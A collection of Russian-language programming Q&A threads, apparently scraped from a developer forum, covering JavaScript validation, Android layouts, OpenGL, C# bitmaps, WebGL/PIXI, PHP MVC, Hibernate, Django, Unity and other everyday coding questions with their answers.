Здравствуйте. Есть какой-нибудь конструктор. var Animal = function (data) {
this.name = data.name;
this.age = data.age;
this.kind = data.kind;
}
Надо произвести валидацию входных данных. То есть убедится, что typeof name === String, typeof age === 'number' и 1+['cat', 'dog', 'mongoose'].indexOf(kind). Как это проверить очевидно. Вопрос в том, где проверять. Прямо в конструкторе? Или так: var validate = function () {
if (typeof this.name !== 'string') throw new Error;
if (typeof this.age !== 'number') throw new Error;
if (-1 === ['cat', 'dog', 'mongoose'].indexOf(kind)) throw new Error;
},
Animal = function (data) {
this.name = data.name;
this.age = data.age;
this.kind = data.kind;
validate.call(this);
}
Как это вообще делать правильно? @eicto,
разница в моем и вашем коде ещё и такая - я сначала валидирую, а потом провожу инициализацию
Animal = function (data) {
validate.call(this);
this.name = data.name;
this.age = data.age;
this.kind = data.kind;
}
Тот факт, что валидация происходит в конструкторе уже считается признаком гавнокода? @Etki,
Но если вы не стремитесь писать идеальный код сразу же - ну эээ это печально.
Ну с чего бы я вообще подымал бы этот вопрос, если бы не стремился писать нормальный код изначально))?
Ответ
Чтобы писать валидирущий код сразу, не задумываясь, но следуя неким правилам, лучше использовать TypeScript или flow. По сути вашего вопроса: не так существенно, где проверять в первый раз, однако разумно делать функцию this.valid(), чтобы в любой момент узнать статус инстанса, а это бывает полезнее, чем бросать исключения. Но если задумка такова: var Animal = function (data) {
if(data === null || typeof data !== 'object') throw new Error;
this.name = data.name;
this.age = data.age;
this.kind = data.kind;
this.validate();
}; Animal.prototype.validate = function () {
if (typeof this.name !== 'string') throw new Error;
if (typeof this.age !== 'number') throw new Error;
if (-1 === ['cat', 'dog', 'mongoose'].indexOf(kind)) throw new Error;
};
Здравствуйте!
Подскажите, как лучше сделать.
Есть экран LinearLayout, внутри него еще LinearLayout, и в нём TextView. По сути:
и тд.
С сервера приходят данные, и некоторым поля присваивается значение null, соответственно, отображать на экране не стоит, и нужно спрятать не сам TextView, а контейнер. Как сделать, чтобы не приходилось очень много кода вручную писать?
Мой код
String type = types.getType();
Long value = values.getValues();
AQuery aq = new AQuery(rootView);//библиотека чтобы кода меньше было aq.id(R.id.tv_type).text(type); // это вместо findViewById и setText
type!= null ? type: ""); И теперь, инициализируем контейнер
ll_type = (LinearLayout) rootView.findViewById(R.id.ll_type);
if (type==null) ll_type.setVisibility(View.INVISIBLE); Одно поле отобразили.
Ответ
В таких случаях неплохой вариант динамически добавлять элементы в зависимости от данных, которые приехали с сервера.
Например, у нас есть некий ArrayList templates, содержащий произвольное количество объектов с данными, и есть mainLayout, куда надо добавить ваши LinearLayout с TextView.
Тогда в активити можно сделать так: int listSize = templatesList.size();
LayoutInflater vi = getLayoutInflater();
for (int i = 0; i < listSize; ++i) {
final Template template = templates.get(i);
final View view = vi.inflate(R.layout.item, null);
mainLayout.addView(view);
TextView tvTitle = (TextView) view.findViewById(R.id.tvTitle);
tvTitle.setText(template.getTitle());
}
Сам же файл R.layout.item - это отдельный xml файл, содержащий ваш LinearLayout с TextView.
Это если данные однотипные. Если же нет, то надо смотреть уже на сами данные, каким образом можно развести их по типам.
У меня есть код для преобразований координат мыши в OpenGL координаты.
И вроде отрисовывается и всё прекрасно, но при подведении мыши к краю,
центр квадрата (это полигон по координатам мыши) смещается в сторону. Кто сталкивался с проблемой или у кого есть рабочий код по отлову координат в OpenGL? ТОЛЬКО НЕ GLUT!
Этого дела полно в Сети.
Пишу не под ним.
Ссылка на исходники ~Координаты мыши GLvoid MouseCord(int mouse_x, int mouse_y, CVector3& p1)
{
// mouse_x, mouse_y - оконные координаты курсора мыши.
// p1, p2 - возвращаемые параметры - концы селектирующего отрезка,
// лежащие соответственно на ближней и дальней плоскостях
// отсечения.
GLint viewport[4]; // параметры viewport-a.
GLdouble projection[16]; // матрица проекции.
GLdouble modelview[16]; // видовая матрица.
GLdouble vx,vy,vz; // координаты курсора мыши в системе координат viewport-a.
GLdouble wx,wy,wz; // возвращаемые мировые координаты. glGetIntegerv(GL_VIEWPORT,viewport); // узнаём параметры viewport-a.
glGetDoublev(GL_PROJECTION_MATRIX,projection); // узнаём матрицу проекции.
glGetDoublev(GL_MODELVIEW_MATRIX,modelview); // узнаём видовую матрицу.
// переводим оконные координаты курсора в систему координат viewport-a.
vx = mouse_x;
vy = viewport[3] - mouse_y - 1;
// вычисляем ближний конец селектирующего отрезка.
vz = -1;
gluUnProject(vx, vy, vz, modelview, projection, viewport, &wx, &wy, &wz);
p1.x = wx*100;
p1.y = wy*100;
p1.z = wz;
system("cls");
std::cout<<"p1.x: "<p1.y: "<p1.z: "<~Отрисовка примитивов и задника GLvoid DrawGLScene(CVector3 p1)
{
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);// Очистка экрана и буфера глубины
glBindTexture(GL_TEXTURE_2D, texture[2]);
glLoadIdentity();
// glTranslatef(0.0f,0.0f,-7.0f); // Сдвинуть вправо и вглубь экрана
glBegin(GL_QUADS); // Рисуем куб
// Передняя грань
glNormal3f( 0.0f, 0.0f, 1.0f); // Нормаль указывает на наблюдателя
glTexCoord2f(0.0f, 0.0f); glVertex3f(-1.0f, -1.0f, -1.0f); // Точка 1 (Перед)
glTexCoord2f(1.0f, 0.0f); glVertex3f( 1.0f, -1.0f, -1.0f); // Точка 2 (Перед)
glTexCoord2f(1.0f, 1.0f); glVertex3f( 1.0f, 1.0f, -1.0f); // Точка 3 (Перед)
glTexCoord2f(0.0f, 1.0f); glVertex3f(-1.0f, 1.0f, -1.0f); // Точка 4 (Перед) glEnd(); // Закончили квадраты if(Btexture)
{
glBindTexture(GL_TEXTURE_2D, texture[0]);
}
else
{
glBindTexture(GL_TEXTURE_2D, texture[1]);
} glLoadIdentity();
glTranslatef(0.0f,0.0f,-7.0f); // Сдвинуть вправо и вглубь экрана
glRotatef(rquad,0.0f,0.0f,1.0f); // Вращение куба по X, Y & Z
glBegin(GL_QUADS); // Рисуем куб
// Передняя грань
glNormal3f( 0.0f, 0.0f, 1.0f); // Нормаль указывает на наблюдателя
glTexCoord2f(0.0f, 0.0f); glVertex3f(-1.0f+p1.x, -1.0f+p1.y, 1.0f); // Точка 1 (Перед)
glTexCoord2f(1.0f, 0.0f); glVertex3f( 1.0f+p1.x, -1.0f+p1.y, 1.0f); // Точка 2 (Перед)
glTexCoord2f(1.0f, 1.0f); glVertex3f( 1.0f+p1.x, 1.0f+p1.y, 1.0f); // Точка 3 (Перед)
glTexCoord2f(0.0f, 1.0f); glVertex3f(-1.0f+p1.x, 1.0f+p1.y, 1.0f); // Точка 4 (Перед) glEnd(); // Закончили квадраты
};
~Меняем размер окна применяем параметры GLvoid ReSizeGLScene(GLsizei Width, GLsizei Height)
{
if (Height==0) // Предотвращение деления на ноль, если окно слишком мало
Height=1; glViewport(0, 0, Width, Height);
// Сброс текущей области вывода и перспективных преобразований glMatrixMode(GL_PROJECTION);// Выбор матрицы проекций
glLoadIdentity(); // Сброс матрицы проекции gluPerspective(65.0f,(GLfloat)Width/(GLfloat)Height,0.1f,100.0f);
// Вычисление соотношения геометрических размеров для окна
glMatrixMode(GL_MODELVIEW); // Выбор матрицы просмотра модели
};
Ответ
К сожалению ваши исходники не доступны. Лучше бы добавили скриншоты проблемы. Вы можете попробовать ортогональную проекцию, может ли она. Если преобразовывать координаты мыши в 3Д координаты ОпенГЛ, то вы должны получить луч, а не точку, т.к. при разном значении vz координат мыши, вы получите разные координаты z в 3D. Тут есть 2 варианта решения:
Вы переводите 2 точки координат мыши с разными vz и получив луч в 3Д пространстве, найти точку пересечения его с интересующей вас плоскостью. Это ваша конечная точка.
Найти какое должно быть значение vz для конкретной точки в 3Д пространстве. Если ваша плоскость находится "лицом" к камере, то берёте любую точку на ней и проецируете её на экран. Затем берёте знамение Z этой точки спроецированной на экран и используете её как значение для vz.
Здравствуйте. Пытаюсь создать что-то похожее на редактор гитарной табулатуры. Проблема в том, что при попытке ввода с клавиатуры в textarea, она перестает реагировать на нажатие кнопок вообще. Код:
$(document).ready(function(){
var e =" E | ",
a =" A | ",
d =" D | ",
g =" G | ",
z = " ",
tabby = $("#tab"),
leng = $("#leng"),
main = "",
now = e + z + a + z + d + z + g + z;
tabby.text(main + z + now);
$("#bb").click(function(){
e += "--";
a += "-2";
d += "--";
g += "--";
now = e + z + a + z + d + z + g + z ;
tabby.text(main + z + now);
leng.html(now.length);
if (now.length >= 184) {
main += z + now;
e =" E | ";
a =" A | ";
d =" D | ";
g =" G | ";
now = e + z + a + z + d + z + g + z;
tabby.text(main + z + now);
}
});
$("#abb").click(function(){
e += "---";
a += "---";
d += "---";
g += "-10";
now = e + z + a + z + d + z + g + z ;
tabby.text(main + z + now);
leng.html(now.length);
if (now.length >= 184) {
main += z + now;
e =" E | ";
a =" A | ";
d =" D | ";
g =" G | ";
now = e + z + a + z + d + z + g + z;
tabby.text(main + z + now);
}
});
});
#tab {
width: 80%;
height: 200px;
background: #999;
display: block;
margin: 0 auto;
font-size: 15px;
}
p {
display: inline-block;
width: 10px;
margin: 0px;
padding: 7px;
}
button {
display: inline-block;
width: 100px;
height: 50px;
margin: 15px auto;
}
#buttons {
width: 245px;
height: auto;
margin: 0 auto;
}
#leng {
display: block;
width: 100%;
height: 40px;
margin: 0 auto;
font-size: 40px;
}
Как это исправить? З.Ы. Прошу прощения за код. Мои знания js/jquery жутко ограничены.
Ответ
Использовать .text() для полей ввода не рекомендуется, измените на .val(), всё будет работать.
А вот для DIVа .text() самое то и, наверное, даже правильнее .html(), хотя в конкретно этом случае без разницы. $(document).ready(function(){
var e =" E | ",
a =" A | ",
d =" D | ",
g =" G | ",
z = " ",
tabby = $("#tab"),
leng = $("#leng"),
main = "",
now = e + z + a + z + d + z + g + z;
tabby.val(main + z + now);
$("#bb").click(function(){
e += "--";
a += "-2";
d += "--";
g += "--";
now = e + z + a + z + d + z + g + z ;
tabby.val(main + z + now);
leng.text(now.length); if (now.length >= 184) {
main += z + now;
e =" E | ";
a =" A | ";
d =" D | ";
g =" G | ";
now = e + z + a + z + d + z + g + z;
tabby.val(main + z + now);
}
}); $("#abb").click(function(){
e += "---";
a += "---";
d += "---";
g += "-10";
now = e + z + a + z + d + z + g + z ;
tabby.val(main + z + now);
leng.text(now.length); if (now.length >= 184) {
main += z + now;
e =" E | ";
a =" A | ";
d =" D | ";
g =" G | ";
now = e + z + a + z + d + z + g + z;
tabby.val(main + z + now);
}
});
});
Чтобы вообще ничего нельзя было вводить в textarea, добавьте в тег "readonly":
Есть два Bitmap'а с произвольными изображениями на белом фоне. Нужно узнать, перекрываются ли эти изображения? Вариант решения - сравнивать изображения по пикселям. Если пиксели с одинаковыми "координатами" заполнены на обоих рисунках, то изображения перекрываются. static bool IsBitmapsIntersect(Bitmap bitmap1, Bitmap bitmap2)
{
for (var i = 0; i < Math.Min(bitmap1.Width, bitmap2.Width); i++)
{
for (var j = 0; j < Math.Min(bitmap1.Height, bitmap2.Height); j++)
{
if (bitmap1.GetPixel(i, j).ToArgb() != -1 && bitmap2.GetPixel(i, j).ToArgb() != -1)
{
return true;
}
}
} return false;
}
Есть ли какие-нибудь более быстрые/правильные решения этой задачи? UPD Воспользовался советом @Discord.
В итоге сделал обертку над Bitmap и GetPixel: class BitmapInfo
{
private readonly byte[] _argbBytes; private readonly int _pixelSize; private readonly int _stride; private readonly int _width; private readonly int _height; public BitmapInfo(Bitmap bitmap)
{
var bitmapData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadOnly, bitmap.PixelFormat); _stride = Math.Abs(bitmapData.Stride);
_argbBytes = new byte[_stride * bitmapData.Height];
Marshal.Copy(bitmapData.Scan0, _argbBytes, 0, _argbBytes.Length); bitmap.UnlockBits(bitmapData); _width = bitmap.Width;
_height = bitmap.Height; _pixelSize = Image.GetPixelFormatSize(bitmap.PixelFormat) / 8;
} public int Width
{
get { return _width; }
} public int Height
{
get { return _height; }
} public int GetPixel(int x, int y)
{
var startIndex = x * _stride + y * _pixelSize;
int result = 0; for (var i = _pixelSize - 1; i >= 0; i--)
{
result <<= 8;
result |= _argbBytes[startIndex + i];
} return result;
}
} static bool IsBitmapsIntersect2(Bitmap bitmap1, Bitmap bitmap2)
{
var bitmapInfo1 = new BitmapInfo(bitmap1);
var bitmapInfo2 = new BitmapInfo(bitmap2); for (var i = 0; i < Math.Min(bitmapInfo1.Width, bitmapInfo2.Width); i++)
{
for (var j = 0; j < Math.Min(bitmapInfo1.Height, bitmapInfo2.Height); j++)
{
if (bitmapInfo1.GetPixel(i, j) != -1 && bitmapInfo2.GetPixel(i, j) != -1)
{
return true;
}
}
} return false;
}
Ответ
GetPixel — это очень медленная функция. Всегда используйте LockBits и вручную проходитесь по байтам, особенно если обрабатываете большие области. В качестве альтернативы могу предложить сделать битмапы с бинарными масками ваших двух картинок. На третьем битмапе размером min(b1.width, b2.width) x min(b1.height, b2.height) совместить общую область картинок в режиме AND. Потом пройтись по данным с помощью LockBits и проверить, есть ли хоть какое-то пересечение. Будет ли второй способ быстрее — не знаю, нужно мерять. Он может быть быстрее за счёт оптимизаций в железе/оси, потому что совмещение картинок может быть более быстрым. Ещё один вариант — построить границы в виде многоугольников и искать пересечение, соответственно, многоугольников.
Когда-то копаясь в проектах WebGL находил Depthy Исходник на github Возникло желание попрактиковаться с реализацией такого эффекта, после чего сразу покопался в исходниках, где нашел основной класс для этого. Конечно разбираться в непрокомментированном коде нет охоты (там же и PIXI, о котором я слышу впервые), поэтому решил сразу спросить здесь, может растолкуете сам принцип и этапы, но и я по ходу изучения может смогу добавить информации. В данный момент "под рукой" есть JS+Canvas, думаю для реализации этого будет достаточно Пока мысль лишь о том, чтобы каждый пиксель изображения смещать по заданному оффсету(в данном случае это позиция курсора относительно центра) полагаясь на значение того же пикселя на карте глубины. Может тогда возникнут разрывы пикселей и эффект Nearest фильтрации, о чем я не могу пока что лишь предположить, но и это по ходу дела решится?! Вот что получилось на данный момент чистым JS+Canvas this.render=function(ctx,offsetX,offsetY) {
for (var i = 0, l = output.width * output.height * 4; i < l; i += 4) {
if(i<0 || i>l)continue;
var depthK = (255-depthData[i/4])/5000;
ctx.putImageData(output,0,0);
};
И это на WebGL. Быстрее и визуально приятнее. Весь код идентичен Hello World'овским, за исключением фрагментного шейдера, куда я передаю две текстуры, одна из которых накладывается на примитивы, а другая служит коэффициентом смещения для каждого пикселя по карте глубины precision mediump float;
uniform sampler2D map;
uniform sampler2D depth;
uniform vec2 offset;
varying vec2 uv;
void main(void) { vec2 texCoord = (uv+offset*(1.0-texture2D(depth,uv).z)); gl_FragColor = vec4(texture2D(map,texCoord).xyz, 1.0);
}
Ответ
Вот вам галерея фильтров pixi. Поиграйтесь с displacement — это именно то, что вам нужно. А как захотите повторить — вот вам код для этого Я сам с этой библиотекой не сильно знаком, но полагаю, если вы начнете со странички "basics" и дочитаете до фильтров, все станет понятно. Моя реализация: http://jsfiddle.net/ycj88zhs/2/ var image, depthMap, displacementMap; image = load(
'http://depthy.me/samples/hut-image.jpg', function () {
depthMap = load(
'http://i.imgur.com/C4ZJY9m.jpg', function () {
var renderer = PIXI.autoDetectRenderer(
image.canvas.width,
image.canvas.height); document.body.appendChild(renderer.view); var stage = new PIXI.Container();
stage.interactive = true; var container = new PIXI.Container();
stage.addChild(container); var displacementSprite = new PIXI.Sprite(
PIXI.Texture.fromCanvas(depthMap.canvas));
displacementSprite.width = image.canvas.width;
displacementSprite.height = image.canvas.height; stage.addChild(displacementSprite); var displacementFilter = new PIXI.filters.
DisplacementFilter(displacementSprite); container.filters = [displacementFilter]; displacementFilter.scale.x = 10;
displacementFilter.scale.y = 10; var bg = new PIXI.Sprite(
PIXI.Texture.fromCanvas(image.canvas)); container.addChild(bg); stage.on('mousemove', onPointerMove)
.on('touchmove', onPointerMove); renderer.render(stage); function onPointerMove(eventData) {
var mouseOffsetX = eventData.data.global.x /
image.canvas.width;
var mouseOffsetY = eventData.data.global.y /
image.canvas.height; displacementFilter.scale.x =
mouseOffsetX * 20;
displacementFilter.scale.y =
mouseOffsetY * 20;
renderer.render(stage);
}
})
}) function load(path, callback) {
var canvas = document.createElement("canvas");
var ctx = canvas.getContext("2d"); var img = document.createElement('img');
img.crossOrigin = "Anonymous";
img.onload = function () { canvas.width = img.width;
canvas.height = img.height; ctx.drawImage(img, 0, 0);
callback(canvas, ctx, img);
};
img.src = path;
return {
context: ctx,
image: img,
canvas: canvas
};
}
Начну с того, что я новичок, сделал всего один небольшой проектик на php "процедурным" способом и теперь ищу способ, чтобы перепрыгнуть огромную пропасть, отделяющую процедурное программирование от ООП. Большая часть инфы по MVC предусматривает, что я уже перебрался через эту пропасть, и оттого практически бесполезна. Нашёл пока единственную статью, которая максимально примитивно объясняет, начиная с основ, и пытаюсь по аналогии свой проектик переделать под MVC. Возникла проблема - в моём проекте логика чуть посложнее, чем в "сайте-визитке", и статья не даёт ответа на вопрос, где и как это "посложнее" реализовать. В упомянутой статье класс View крайне прост: метод View->Generate($view_content, $view_template) делает require $view_template.'.php', внутри шаблона в свою очередь в единственном месте стоит require $view_content.'.php' У меня, в зависимости от контроллера/метода, необходимо делать вставки в шаблон в нескольких местах. Вопрос - как реализовать это правильно? Предполагаемый мной вариант решения: в главный шаблон напихать конструкции вида include $block[0].'.php' (не require, чтобы не ругался при отсутствии файла), потом этот массив заполнять именами файлов в соотв. модели... Сразу возникают вопросы:
если мне в данном view не нужно вставлять скажем $block[0] - как будет выполняться директива include? Будет ли она пытаться обращаться в файлу (в данном случае NULL)? Да и вообще, правильно ли так поступать? (upd: вариант конечно if (isset($block[0])) { include $block[0].'.php'; } - но это получается часть логики переносится в вид :/ )
как быть с блоками, которые хочется задействовать несколько раз? Например, у меня там простенькая формочка для фильтрации вывода с базы, но на одной странице она должна фильтровать поставщиков, а на другой - товар на складе?
Реализовывать формочку через класс?
Ответ
Почитайте что такое виджеты и зачем они. Если вкратце то это независимое обращение к любому модулю вашего сайта, допустим модуль отзывов. Вы вызываете виджет данного модуля, и все инкампсулировано внутри него, он сам определяет на какой он странице (или в параметре передаете), знает к какой модели обратится, и как вывести данные в шаблон. Очень удобны и незаменимы. Издалека ваш подход правильный, но я бы реализовывал массив по типу $content = array(
'header' => 'Hellow world',
'short_description' => 'short description of page',
'footer_links' => array(
0 => array('name' => 'main page', 'link' => 'http://...'),
....
),
);
и этот контент передаю непосредственно шаблону, темплейту.
Где использую его так:
Может кто рассказать хоть что-нибудь про жизненный цикл ASP.NET MVC страницы?
Ответ
ASP.NET MVC не работает в терминах "страниц". Он работает в терминах "запрос", "маршрут", "контроллер", "действие", "результат", "вид". Жизненный цикл страницы есть ASP.NET WebForms, но там с ASP.NET MVC почти ничего общего нет (кроме слова "ASP.NET" в названии). Если не смущает английский, то для ASP.NET MVC 5 есть официальная статья с PDF- схемой Lifecycle of an ASP.NET MVC 5 Application
Если хочется на русском, то цикл обработки запроса в MVC выглядит примерно так:
Честно взято с http://msdr.ru/9/. Схема нарисована для ASP.NET MVC 3, но практически вся актуальна.
Пытаюсь установить и настроить JavaCV и OpenCV на ubuntu 14.04 Устанавливал по статье и по официальной инструкции.
Работаю в Eclipse В свойствах проекта в пункте Run/Debug Settings в поле VM arguments добавил строчку: -Djava.library.path="/home/ant/opencv-3.0.0/lib
Пытаюсь запустить код из примера с официального сайта: import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader; import static org.bytedeco.javacpp.opencv_core.*;
import static org.bytedeco.javacpp.opencv_imgproc.*;
import static org.bytedeco.javacpp.opencv_imgcodecs.*; public class Main {
public static void main(String[] args) {
BufferedReader bf = new BufferedReader(new InputStreamReader(System.in));
String filename = null;
try {
filename = bf.readLine();
} catch (IOException e) {
System.out.println(e);
}
File file = new File(filename);
System.out.println(file.exists());
IplImage image = cvLoadImage(filename);
if (image != null) {
cvSmooth(image, image);
cvSaveImage(filename, image);
cvReleaseImage(image);
}
}
}
Сам файл находит, но вот функцию cvLoadImage() не выполняет, а программа вылетает и выводит в консоль:
Java HotSpot(TM) 64-Bit Server VM warning: You have loaded library /home/ant/opencv-3.0.0/lib/libopencv_core.so.3.0.0 which might have disabled stack guard. The VM will try to fix the stack guard now.
It's highly recommended that you fix the library with execstack -c , or link it with '-z noexecstack'.
Как это исправить?
Ответ
It's highly recommended that you fix the library with execstack -c , or link it with '-z noexecstack'.
перевод: исправьте эту библиотеку, выполнив: $ execstack -c /home/ant/opencv-3.0.0/lib/libopencv_core.so.3.0.0
либо добавив (видимо, в то же поле vm arguments) строку -z noexecstack
во втором пункте (после «либо») изложена лишь моя догадка: я не знаю, как в eclipse линкуются библиотеки и где можно добавить параметры для этой линковки.
Столкнулся с тем, что при редактировании одной из строк, мне при запросе возвращаются старые данные.
Как в последствии выяснилось, он банально грузит его заново из кэша 1го уровня.
Стал перед нужными запросам сбрасывать его с помощью: session.clear();
Но теперь возникает проблема при нескольких обновлениях одного и того же объекта: org.hibernate.NonUniqueObjectException: a different object with the same identifier value was already associated with the session:
Подсобите, может надо по другому решать эту проблему?
Ответ
Пришлось порыться...
Суть в том что после .clear() ошибка срабатывает только при команде .update() или .saveOrUpdate().
Решение я нашел тут. Если коротко то эту команду надо заменить на .merge(Object o)
Здравствуйте, прошу помочь с возникшем затруднением. Пробую делать блог на Django/Python, хочу вывести статьи с картинками. Картинка по url из админики грузится, а из шаблона нет, подскажите пожалуйста куда копать. Гуглил, Яндексил, ничего не нашел рабочего. models.py: class Article(models.Model):
title = models.CharField(max_length = 200)
text = models.TextField()
image = models.ImageField(blank=True) def __unicode__(self):
return unicode(self.title)
urls.py: from django.conf.urls import include, url
from django.contrib import admin
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
url(r'^admin/', include(admin.site.urls)),
url(r'^', include('blog.urls')),
url(r'^media/(?P.*)$','django.views.static.serve',
{'document_root':'media'}), ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
settings.py: ...
STATIC_URL = '/static/'
MEDIA_URL = '/media/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
article.html: {% for article in articles %}
Здравствуйте!
Собственно, реализую редактор поверхностей, основная проблема встала с расчётом "габаритов" кисточки, а точнее, поверхности в пространстве, попадающей под эту самую кисточку.
Привожу максимально урезанный рабочий код сего действа: using System;
using System.Collections.Generic;
using UnityEngine;
using UnityEditor; namespace EngineEditor.Terrain { ///
/// Режим редактирования
///
public enum EEditorMode : int {
ModeAdd = 0x00, // режим добавления
ModeDelete = 0x01, // режим удаления
ModePick = 0x02 // режим захвата
}; public class Test : EditorWindow { private static Color designAddColor = new Color(0.15f, 1.0f, 0.15f);
private static Color textColor = new Color(0.9f, 0.9f, 0.9f);
private static float brushSize = 1.1f; private EEditorMode currentMode = EEditorMode.ModeAdd; private bool selectModeOn = false; [MenuItem("Test/Editor")]
public static void ShowWindow() {
EditorWindow window = EditorWindow.GetWindow(typeof(Test));
window.titleContent = new GUIContent("...");
} void OnGUI() { } void OnFocus() {
SceneView.onSceneGUIDelegate -= this.OnSceneGUI;
SceneView.onSceneGUIDelegate += this.OnSceneGUI;
} void OnDestroy() {
SceneView.onSceneGUIDelegate -= this.OnSceneGUI;
} ///
/// Метод обрабатывающий задобренный объект
///
///
/// Объект, до которого дотронулись лучи добра
private void OnRaycast(SceneView sceneView, RaycastHit hitInfo) { Collider collider = hitInfo.collider;
Vector3 cameraPoint = sceneView.camera.transform.position + sceneView.camera.transform.forward + sceneView.camera.transform.right;
Quaternion startRot = Quaternion.LookRotation(hitInfo.normal);
switch (currentMode) {
case EEditorMode.ModeAdd:
Handles.color = designAddColor;
break;
} Handles.DrawLine(hitInfo.point, cameraPoint); // рисуем кисточку
Handles.CircleCap(0, hitInfo.point, startRot, brushSize); Handles.color = textColor; Handles.Label(collider.transform.position, new GUIContent(Utils.ToString(collider.transform.position)), EditorStyles.boldLabel);
Handles.Label(hitInfo.point, new GUIContent(" "+Utils.ToString(hitInfo.normal)+" "+Utils.ToString(hitInfo.barycentricCoordinate)));
Handles.Label(hitInfo.point, Utils.ToString(startRot)); sceneView.Repaint();
} ///
/// Отрисовка в окне сцены
///
///
public void OnSceneGUI(SceneView sceneView) { Selection.activeObject = null; Vector3 mousePosition = new Vector3(Event.current.mousePosition.x, sceneView.camera.pixelHeight - Event.current.mousePosition.y, 0);
RaycastHit hitInfo = new RaycastHit();
Ray ray = sceneView.camera.ScreenPointToRay(mousePosition); // генерируем луч добра if (Physics.Raycast(ray, out hitInfo)) // одобряем всё и вся нашим лучом
OnRaycast(sceneView, hitInfo); }
} }
Покажу схематично саму кисточку:
Собственно, что я знаю:
Известна середина фигуры point{x,y,z}
Известны углы этой фигуры rect{x,y,z} и вращение quaternion{x,y,z,w}
Известен размер кисти (в данном случае - сторона квадрата)
Сам вопрос:
Каким образом я могу вычислить координаты v1,v2,v3,v4, чтобы провести линии
от point до v1,
от point до v2,
от point до v3,
от point до v4?
Если получится их вычислить, решиться проблема с обнаружением поверхности под кисточкой (обычными вычитаниями). Возможно ли, что я не правильно подхожу к задаче, и данные точки можно не вычислять, а каким то чудесным образом получить единичные вектора direction из центра к каждой из этих точек?
Ответ
VladD
Хм. А почему не так: вектор MV1 = quaternion * (-d/2, 0, 0), отсюда V1
= M + MV1 (M — центр, d — сторона). – VladD 4 мин. назад
Дал самое простое и понятное решение! Огромное спасибо, я просто не знал что в unity перегружены операции кватернионов с векторами (facepalm), пинать меня за это надо. Ещё раз Спасибо!
gzip включен, слышал что если минифицировать css и js файлы и создать их в бинарные файлики (.gz) то ускорится работа сервера. Вот у php есть gzwrite функция ней можно записывать такие данные, но каким образом сервер будет их считывать или как их правильно использовать для ускорения работы сайта?
Ответ
Один и тот же объём стилей/скриптов в одном запросе будет переадн быстрее, чем в нескольких. Ну при разумном объёме (а если он неразумный, то тебе оптимизации не помогут).
Минификация позволит уменьшить объем пересылаемого кода за счёт, как минимум, исключения ненужных пробелов. Для джаваскрипта также возможно изменение имён локальных переменных и некоторые другие штуки с целью его дополнительного сжатия.
Сжатие (например, gzip) уменьшает имеющийся объем архивацией. Это ускоряет его передачу по сети, но браузеру будет нужно время на распаковку. В идеале стоит оценить это время и принять решение, нужно ли использовать сжатие.
Сжатие на лету использует ресурсы сервера. Лучше выполнить его один раз и пока файл не меняется просто пересылать готовый сжатый вариант. По идее, используемый тобой сервер должен уметь это делать сам, если включить сжатие в настройках.
Пункт 4 касается и минификации. Однако, минификация обычно выполняется в процессе построения, а не указывается в настройках сервера.
Разбираю файл в массив с помощью freopen, но не понимаю как вернуть стандартный поток ввода обратно, может кто с таким сталкивался. Приложение консольное. bool LoadData(const string &fn)
{
bool stat(0);
if ( freopen(fn.c_str(), "r", stdin) )
{
stat = 1;
... }
fclose (stdin);
return stat;
}
int main()
{
...
LoadData(fn);
...
cin >> s; // это не работает
...
system ("pause"); // это тоже не работает т.к. завязано на stdin
return 0;
}
Вообщем решение для windows: freopen("CON", "r", stdin);
удалять вопрос не буду, может кому пригодится.
Ответ
Давайте-ка я вынесу из комментариев. Вам нужно поменять функцию LoadData так, чтобы она читала не из stdin, а из данного файла. bool LoadData(const string &fn, Dup &tmp)
{
tmp = {0,0,0,0,"",fn};
bool stat(0);
// if ( freopen(fn.c_str(), "r", stdin) )
FILE* f = fopen(fn.c_str(), "r");
if (f)
{
плюс поменяйте везде getchar() на getc(f), плюс в конце fclose(stdin) на fclose(f)
Ещё по коду: вы совершенно зря объявили char t = getchar();
Дело в том, что getchar (а также getc) возвращают для конца файла значение EOF, которое не равно ни одному из значений, помещающихся в char. В текущей версии кода, если вдруг значение (char)EOF встретится в файле, работа функции прекратится. Используйте int
Есть 2 круга. Они постоянно летают вверх и вниз. Через них должна проходить линия. Нужно чтобы линия постоянно перерисовывалась в зависимости от расстояние этих кругов. Т.е. при каждом движении.
С помощью snap svg*
var paperHeader = Snap(".circle_anim");
var lineHeader = paperHeader.path("").attr({
fill: "transparent",
stroke: "#9b9b9c",
strokeWidth: 2
});
function flyCircle(name_circle) {
var element = Snap("#" + name_circle);
var Bbox = element.getBBox();
var coord_y = Bbox.cy;
var states = [{
cy: coord_y
}, {
cy: 500
}, {
cy: 320
}];
(function animateCircle(el, i) {
el.animate(states[i], 2000, function() {
animateCircle(el, ++i in states ? i : 0);
});
})(element, 0);
}
function drawLineHeader(circle) {
var stringPath = lineHeader.attr("d");
var element = Snap("#" + circle);
var Bbox = element.getBBox();
paperHeader.append(element);
var coord_y = Bbox.cy;
var coord_x = Bbox.cx;
if (stringPath) lineHeader.attr({
d: stringPath + "L " + coord_x + "," + coord_y
});
else lineHeader.attr({
d: "M " + coord_x + "," + coord_y
});
}
for (var count = 1; count < 8; count++) {
var s_temp = "Hcircle" + count;
drawLineHeader(s_temp);
flyCircle(s_temp);
}
.circle_anim {
display: block;
position: absolute;
width: 100%;
height: 100%;
z-index: 1;
}
Ответ
Набросал пример в jsfiddle Суть данного решения сводится к тому, что необходимо распарсить атрибут d у линии line.attr('d') и установить для него новое значение.
За это отвечает функция parseLineAttrs Так же сделал анимацию другим способом. Здесь заменил путь на линии и анимирую их, это позволило избавиться от парсера пути и производить анимацию более понятно {x1, y1, x2, y2}
Способ с линиями
Дано: 8 анимаций типа translate пошагово перемещающих цель по диагонали и обратно. См. gif №1.
Задача: Сделать анимацию плавной. Вот как в "play пресса" приложении от гугла. См. gif №2. Возможное решение: Поиграться с длительностью анимации. Возможно, выкрутив её, на максимум будет выглядеть плавно. Вопрос: Какие параметры анимации надо учитывать для создания плавного движения? Что у меня получилось, gif №1:
Чего бы хотелось, gif №2:
Ответ
Использовав советы @metalurgus и свои эксперименты, пришёл к следующему выводу:
Длительность анимации прямо пропорциональна плавности.
Использование Interpolator также способствует её увеличению.
